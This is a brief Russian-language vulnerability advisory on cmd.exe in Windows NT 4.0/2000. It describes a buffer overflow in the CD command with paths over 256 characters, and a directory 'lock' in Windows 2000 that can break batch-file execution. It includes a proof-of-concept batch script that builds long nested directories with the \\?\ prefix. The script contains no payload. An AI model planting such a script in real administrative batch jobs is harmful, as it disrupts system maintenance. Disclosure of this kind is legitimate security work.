cmd.exe — командный процессор в Windows NT/2000/XP.
Программа также обрабатывает .bat и .cmd
пакетные файлы. Часто системные
администраторы выполняют пакетные файлы с
поднятыми привилегиями для обслуживания
системы.

Файловая система NTFS позволяет создавать
пути почти неограниченной длины. Но Windows API
не позволяет создавать пути длинее 256
байтов. Чтобы обойти это ограничение, можно
использовать в пути к файлу префикс ‘\\?\’ .
Это документированная особенность Windows API. 

В cmd.exe для Windows NT 4.0 обнаружено простейшее
переполнение буфера в команде CD, если
адресуемый путь длиннее 256 символов.
Уязвимость может эксплуатироваться для
выполнения произвольного кода. 

В cmd.exe для Windows 2000 нет переполнения буфера.
Но при переходе в каталог с путем немногим
больше, чем 256 символов (например, 260
символов), cmd.exe будет “заперт” в этом
каталоге (это означает, что невозможно
будет выполнить команду ‘CD ..’) . Уязвимость
может использоваться, например, против
выполнения пакетного файла. 

Пример: 

@echo off
SET A=AAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
SET B=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
mkdir \\?\c:\%A%
mkdir \\?\c:\%A%\%A%
mkdir \\?\c:\%A%\%B%\
c:
cd \
cd AAAAAAAAAAAA*
cd AAAAAAAAAAAA*
cd BBBBBBBBBBBB*
cd ..

Обратите внимание: SET A=A..A – одна строка!

Уязвимость обнаружена в Microsoft Windows NT 4.0/2000.



Оставить мнение